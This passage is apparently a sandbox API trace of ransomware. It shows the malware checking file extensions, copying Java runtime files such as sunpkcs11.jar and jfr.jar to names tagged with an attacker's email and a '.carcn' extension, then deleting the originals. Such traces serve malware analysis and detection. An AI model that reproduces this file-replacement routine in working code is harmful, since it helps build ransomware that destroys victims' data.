[0309.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.561] lstrlenW (lpString=".doc") returned 4 [0309.562] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.562] lstrlenW (lpString=".docx") returned 5 [0309.562] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0309.562] lstrlenW (lpString=".pdf") returned 4 [0309.562] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.562] lstrlenW (lpString=".xls") returned 4 [0309.562] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.562] lstrlenW (lpString=".xlsx") returned 5 [0309.562] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0309.562] lstrlenW (lpString=".ppt") returned 4 [0309.562] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.562] lstrlenW (lpString=".zip") returned 4 [0309.562] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.562] lstrlenW (lpString=".rar") returned 4 [0309.562] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.562] lstrlenW (lpString=".bz2") returned 4 [0309.562] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.562] lstrlenW (lpString=".7z") returned 3 [0309.562] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.562] lstrlenW (lpString=".dbf") returned 4 [0309.562] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.562] lstrlenW (lpString=".1cd") returned 4 [0309.562] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.562] lstrlenW (lpString=".jpg") returned 4 [0309.562] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.563] lstrlenW (lpString=".doc") returned 4 [0309.563] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.563] lstrlenW (lpString=".docx") returned 5 [0309.563] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0309.563] lstrlenW (lpString=".pdf") returned 4 [0309.563] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.563] lstrlenW (lpString=".xls") returned 4 [0309.563] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.563] lstrlenW (lpString=".xlsx") returned 5 [0309.563] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0309.563] lstrlenW (lpString=".ppt") returned 4 [0309.563] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.563] lstrlenW (lpString=".zip") returned 4 [0309.563] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.563] lstrlenW (lpString=".rar") returned 4 [0309.563] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.563] lstrlenW (lpString=".bz2") returned 4 [0309.563] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.563] lstrlenW (lpString=".7z") returned 3 [0309.563] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.563] lstrlenW (lpString=".dbf") returned 4 [0309.563] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.563] lstrlenW (lpString=".1cd") returned 4 [0309.563] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0309.564] lstrlenW (lpString=".jpg") returned 4 [0309.564] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.564] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0309.564] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0309.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0309.564] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=251327) returned 1 [0309.564] CloseHandle (hObject=0x370) returned 1 [0309.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0309.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0309.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0309.756] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.756] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0309.756] GetLastError () returned 0x0 [0309.756] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0309.760] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0309.764] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.764] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xee, lpOverlapped=0x0) returned 1 [0309.764] SetEndOfFile (hFile=0x360) returned 1 [0309.765] CloseHandle (hObject=0x360) returned 1 [0309.765] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.765] SetEndOfFile (hFile=0x368) returned 1 [0309.767] CloseHandle (hObject=0x368) returned 1 [0309.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.767] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0309.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.767] lstrlenW (lpString=".doc") returned 4 [0309.767] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.768] lstrlenW (lpString=".docx") returned 5 [0309.768] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0309.768] lstrlenW (lpString=".pdf") returned 4 [0309.768] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.768] lstrlenW (lpString=".xls") returned 4 [0309.768] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.768] lstrlenW (lpString=".xlsx") returned 5 [0309.768] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0309.768] lstrlenW (lpString=".ppt") returned 4 [0309.768] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.768] lstrlenW (lpString=".zip") returned 4 [0309.768] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.768] lstrlenW (lpString=".rar") returned 4 [0309.768] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.768] lstrlenW (lpString=".bz2") returned 4 [0309.768] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.768] lstrlenW (lpString=".7z") returned 3 [0309.768] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.768] lstrlenW (lpString=".dbf") returned 4 [0309.768] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.768] lstrlenW (lpString=".1cd") returned 4 [0309.768] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.768] lstrlenW (lpString=".jpg") returned 4 [0309.768] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.768] lstrlenW (lpString=".doc") returned 4 [0309.768] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.768] lstrlenW (lpString=".docx") returned 5 [0309.769] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0309.769] lstrlenW (lpString=".pdf") returned 4 [0309.769] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.769] lstrlenW (lpString=".xls") returned 4 [0309.769] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.769] lstrlenW (lpString=".xlsx") returned 5 [0309.769] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0309.769] lstrlenW (lpString=".ppt") returned 4 [0309.769] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.769] lstrlenW (lpString=".zip") returned 4 [0309.769] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.769] lstrlenW (lpString=".rar") returned 4 [0309.769] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.769] lstrlenW (lpString=".bz2") returned 4 [0309.769] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.769] lstrlenW (lpString=".7z") returned 3 [0309.769] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.769] lstrlenW (lpString=".dbf") returned 4 [0309.769] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.769] lstrlenW (lpString=".1cd") returned 4 [0309.769] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0309.769] lstrlenW (lpString=".jpg") returned 4 [0309.769] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.769] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0309.769] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0309.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0309.770] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=698236) returned 1 [0309.770] CloseHandle (hObject=0x368) returned 1 [0309.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0309.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0309.770] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0309.770] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.770] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.770] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0309.771] GetLastError () returned 0x0 [0309.771] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0309.781] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0309.793] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.793] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xfe, lpOverlapped=0x0) returned 1 [0309.793] SetEndOfFile (hFile=0x360) returned 1 [0309.793] CloseHandle (hObject=0x360) returned 1 [0309.793] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.793] SetEndOfFile (hFile=0x368) returned 1 [0309.799] CloseHandle (hObject=0x368) returned 1 [0309.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.800] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0309.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.801] lstrlenW (lpString=".doc") returned 4 [0309.801] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString=".docx") returned 5 [0309.801] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0309.801] lstrlenW (lpString=".pdf") returned 4 [0309.801] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString=".xls") returned 4 [0309.801] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0309.801] lstrlenW (lpString=".xlsx") returned 5 [0309.801] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0309.801] lstrlenW (lpString=".ppt") returned 4 [0309.801] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.801] lstrlenW (lpString=".zip") returned 4 [0309.801] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0309.801] lstrlenW (lpString=".rar") returned 4 [0309.801] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString=".bz2") returned 4 [0309.801] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString=".7z") returned 3 [0309.801] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0309.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.801] lstrlenW (lpString=".dbf") returned 4 [0309.801] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.801] lstrlenW (lpString=".1cd") returned 4 [0309.801] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0309.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.802] lstrlenW (lpString=".jpg") returned 4 [0309.802] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0309.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.802] lstrlenW (lpString=".doc") returned 4 [0309.802] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0309.802] lstrlenW (lpString=".docx") returned 5 [0309.802] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0309.802] lstrlenW (lpString=".pdf") returned 4 [0309.802] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0309.802] lstrlenW (lpString=".xls") returned 4 [0309.802] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0309.802] lstrlenW (lpString=".xlsx") returned 5 [0309.802] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0309.802] lstrlenW (lpString=".ppt") returned 4 [0309.802] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0309.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0309.802] lstrlenW (lpString=".zip") returned 4 [0310.606] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0310.606] lstrlenW (lpString=".rar") returned 4 [0310.606] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0310.606] lstrlenW (lpString=".bz2") returned 4 [0310.606] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0310.606] lstrlenW (lpString=".7z") returned 3 [0310.606] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0310.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0310.606] lstrlenW (lpString=".dbf") returned 4 [0310.606] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0310.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0310.606] lstrlenW (lpString=".1cd") returned 4 [0310.606] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0310.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0310.606] lstrlenW (lpString=".jpg") returned 4 [0310.606] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0310.607] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0310.607] lstrlenW (lpString="jfr.jar") returned 7 [0310.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0310.607] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=560581) returned 1 [0310.607] CloseHandle (hObject=0x33c) returned 1 [0310.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0310.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0310.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0310.608] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.608] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0310.609] GetLastError () returned 0x0 [0310.609] ReadFile (in: hFile=0x33c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0310.622] WriteFile (in: hFile=0x318, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0310.633] ReadFile (in: hFile=0x33c, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.633] WriteFile (in: hFile=0x318, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0310.633] SetEndOfFile (hFile=0x318) returned 1 [0310.633] CloseHandle (hObject=0x318) returned 1 [0310.634] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.634] SetEndOfFile (hFile=0x33c) returned 1 [0310.639] CloseHandle (hObject=0x33c) returned 1 [0310.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0310.640] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0310.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.641] lstrlenW (lpString=".doc") returned 4 [0310.641] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0310.641] lstrlenW (lpString=".docx") returned 5 [0310.641] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0310.641] lstrlenW (lpString=".pdf") returned 4 [0310.641] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0310.641] lstrlenW (lpString=".xls") returned 4 [0310.641] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0310.641] lstrlenW (lpString=".xlsx") returned 5 [0310.641] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0310.641] lstrlenW (lpString=".ppt") returned 4 [0310.641] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0310.641] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0310.641] lstrlenW (lpString=".zip") returned 4 [0310.641] 